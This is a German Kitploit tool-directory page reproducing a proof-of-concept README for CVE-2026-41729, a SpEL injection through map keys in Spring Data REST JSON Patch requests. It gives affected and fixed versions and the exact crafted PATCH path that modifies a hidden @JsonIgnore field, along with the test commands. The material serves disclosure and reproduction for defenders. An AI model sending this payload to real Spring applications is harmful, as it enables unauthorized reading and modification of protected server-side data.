Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Tools/GitHubGitHub/daehyuh/cve-2026-41729
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

Repository anzeigen
17vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

Dieses Repository enthält einen minimalen reproduzierbaren Proof-of-Concept (PoC) für die CVE-2026-41729, die im offiziellen Spring-Sicherheitshinweis veröffentlicht wurde.

  • Offizieller Hinweis: https://spring.io/security/cve-2026-41729/
  • Offizieller Titel: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Schweregrad: High
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Veröffentlichungsdatum: 2026-06-09

Zusammenfassung der Schwachstelle

Wenn Spring Data REST JSON-Patch-Anfragen (Content-Type: application/json-patch+json) verarbeitet, besteht das Problem, dass der Map-Key-Pfad-Abschnitt einer Map-typed-Property direkt in einen SpEL-Ausdruck eingefügt wird.

Gemäß dem offiziellen Sicherheitshinweis kann ein Angreifer, wenn eine persistente Entität eine Map-Typ-Eigenschaft offenlegt und eine PATCH-Anfrage an die entsprechende Item-Ressource senden kann, das Map-Key-Segment manipulieren, um aus dem beabsichtigten Map-Indexer-Literal auszubrechen und eine SpEL-Teilauswertung im Kontext der Aggregate-Root zu erreichen. Es wurde veröffentlicht, dass sowohl der Lese- als auch der Schreib-Patch-Pfad betroffen sind.

Dieser PoC nutzt den Schreib-Patch-Pfad, um zu demonstrieren, wie ein @JsonIgnore-Feld, das in der normalen REST-Darstellung nicht sichtbar ist, über einen konstruierten JSON-Patch-Pfad geändert werden kann.

Betroffener Bereich

Laut offiziellem Sicherheitshinweis betroffene Produkte:

  • Spring Data REST

Betroffene Versionen:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Auch ältere, nicht mehr unterstützte Versionen könnten betroffen sein

Behobene Versionen:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 oder 4.5.11.1
  • 5.0.6 oder 5.0.5.1

Was dieser PoC zeigt

Der Test startet eine echte Spring-Boot-Anwendung und sendet eine HTTP PATCH-Anfrage an einen Spring Data REST Repository-Endpunkt.

Das Domain-Objekt hat die folgende Struktur:

  • Eine extern sichtbare people-Map
  • Eine hiddenChildren-Map, die in jedem Person-Objekt vorhanden, aber in der Jackson/Spring Data REST-Darstellung verborgen ist

In der normalen REST-Antwort sind hiddenChildren und die darin enthaltenen Werte nicht sichtbar.

GET /wrappers/sample

Ein JSON-Patch, der direkt auf die versteckte Eigenschaft verweist, wird abgelehnt.

PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

Durch die Verwendung eines konstruierten Map-Keys kann jedoch die Umwandlung des JSON-Patch-Pfades in einen SpEL-Pfad in Spring Data REST dazu führen, dass das beabsichtigte Map-Key-Literal verlassen und ein Pfad zu einer versteckten Eigenschaft erreicht wird.

PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

In der anfälligen Version ist diese Anfrage erfolgreich und der interne Wert ändert sich wie folgt:

before -> after

Der Test bestätigt, dass in der Map kein tatsächlicher Schlüssel a'].hiddenChildren['b angelegt wurde, sondern dass der versteckte Property-Pfad aufgrund des Ausbruchs aus dem Ausdruck geändert wurde.

Ausführung

Windows:

.\mvnw.cmd test

macOS/Linux:

./mvnw test

Erwartetes Ergebnis für die anfällige Version:

Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

Ein erfolgreicher Test bedeutet, "dass das anfällige Verhalten reproduziert wurde". Das heißt, dass unter Verwendung der anfälligen Abhängigkeiten die konstruierte JSON-Patch-Anfrage erfolgreich ist und die Änderung des versteckten internen Zustands nachweist.

Verwendete Abhängigkeiten

Dieses Repository verwendet das Spring Boot 3.5.14-Parent, woraus sich spring-data-rest-webmvc 4.5.11 ergibt. Dies liegt im betroffenen Bereich 4.5.0 - 4.5.11 des offiziellen Sicherheitshinweises.

Warum ist das gefährlich?

Ein Angreifer, der JSON-Patch-Anfragen an einen Spring Data REST-Endpunkt senden kann, kann den Map-Key manipulieren, um eine unbeabsichtigte Auswertung eines SpEL-Pfades auf der Serverseite zu erzwingen. Dadurch können interne Werte des Objektgraphen, die die Anwendung nicht über die REST-Darstellung offenlegen wollte, gelesen oder geändert werden.

Der offizielle Sicherheitshinweis bewertete die Auswirkungen auf Vertraulichkeit und Integrität als High.

Credit

Der offizielle Spring-Hinweis enthält folgende Angabe:

  • Daehyun Kang (@daehyuh)

Referenzen

  • Offizieller Spring-Sicherheitshinweis: https://spring.io/security/cve-2026-41729/
  • CVSS-Rechner: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
Tool herunterladen